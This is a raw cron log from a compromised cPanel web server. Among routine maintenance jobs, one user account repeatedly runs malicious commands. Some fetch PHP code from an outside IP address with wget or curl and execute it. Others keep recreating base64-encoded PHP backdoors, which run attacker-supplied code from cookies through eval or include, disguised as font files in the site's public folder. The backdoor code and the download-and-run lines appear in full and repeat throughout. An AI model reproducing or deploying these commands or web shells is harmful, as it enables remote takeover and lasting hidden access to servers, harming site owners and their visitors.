Sep  1 15:39:01 ip-184-168-122-23 CROND[16075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:40:01 ip-184-168-122-23 CROND[16177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:40:01 ip-184-168-122-23 CROND[16179]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:40:01 ip-184-168-122-23 CROND[16182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:40:01 ip-184-168-122-23 CROND[16183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:40:01 ip-184-168-122-23 CROND[16186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:40:01 ip-184-168-122-23 CROND[16188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:40:01 ip-184-168-122-23 CROND[16187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:40:01 ip-184-168-122-23 CROND[16189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:41:01 ip-184-168-122-23 CROND[16285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:41:01 ip-184-168-122-23 CROND[16287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:41:01 ip-184-168-122-23 CROND[16291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:41:01 ip-184-168-122-23 CROND[16290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:42:01 ip-184-168-122-23 CROND[16401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:42:01 ip-184-168-122-23 CROND[16403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:42:01 ip-184-168-122-23 CROND[16404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:42:01 ip-184-168-122-23 CROND[16405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:42:01 ip-184-168-122-23 CROND[16406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:43:01 ip-184-168-122-23 CROND[16582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:43:01 ip-184-168-122-23 CROND[16586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:43:01 ip-184-168-122-23 CROND[16584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:43:01 ip-184-168-122-23 CROND[16585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:44:01 ip-184-168-122-23 CROND[16691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:44:01 ip-184-168-122-23 CROND[16689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:44:01 ip-184-168-122-23 CROND[16688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:44:01 ip-184-168-122-23 CROND[16690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:44:01 ip-184-168-122-23 CROND[16692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:45:01 ip-184-168-122-23 CROND[16801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:45:01 ip-184-168-122-23 CROND[16803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:45:01 ip-184-168-122-23 CROND[16804]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:45:01 ip-184-168-122-23 CROND[16805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:45:01 ip-184-168-122-23 CROND[16806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:45:01 ip-184-168-122-23 CROND[16807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:46:01 ip-184-168-122-23 CROND[16894]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:46:01 ip-184-168-122-23 CROND[16895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:46:01 ip-184-168-122-23 CROND[16897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:46:01 ip-184-168-122-23 CROND[16896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:46:01 ip-184-168-122-23 CROND[16901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:46:01 ip-184-168-122-23 CROND[16902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:46:01 ip-184-168-122-23 CROND[16898]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 15:47:01 ip-184-168-122-23 CROND[17004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:47:01 ip-184-168-122-23 CROND[17007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:47:01 ip-184-168-122-23 CROND[17006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:47:01 ip-184-168-122-23 CROND[17008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:48:01 ip-184-168-122-23 CROND[17184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:48:01 ip-184-168-122-23 CROND[17186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:48:01 ip-184-168-122-23 CROND[17188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:48:01 ip-184-168-122-23 CROND[17189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:48:01 ip-184-168-122-23 CROND[17187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:49:01 ip-184-168-122-23 CROND[17285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:49:01 ip-184-168-122-23 CROND[17287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:49:01 ip-184-168-122-23 CROND[17289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:49:01 ip-184-168-122-23 CROND[17290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:50:01 ip-184-168-122-23 CROND[17376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:50:01 ip-184-168-122-23 CROND[17380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 15:50:01 ip-184-168-122-23 CROND[17381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:50:01 ip-184-168-122-23 CROND[17382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 15:50:01 ip-184-168-122-23 CROND[17386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:50:01 ip-184-168-122-23 CROND[17390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:50:01 ip-184-168-122-23 CROND[17391]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:50:01 ip-184-168-122-23 CROND[17392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:50:01 ip-184-168-122-23 CROND[17389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:51:01 ip-184-168-122-23 CROND[17477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:51:01 ip-184-168-122-23 CROND[17479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 15:51:01 ip-184-168-122-23 CROND[17482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:51:01 ip-184-168-122-23 CROND[17485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
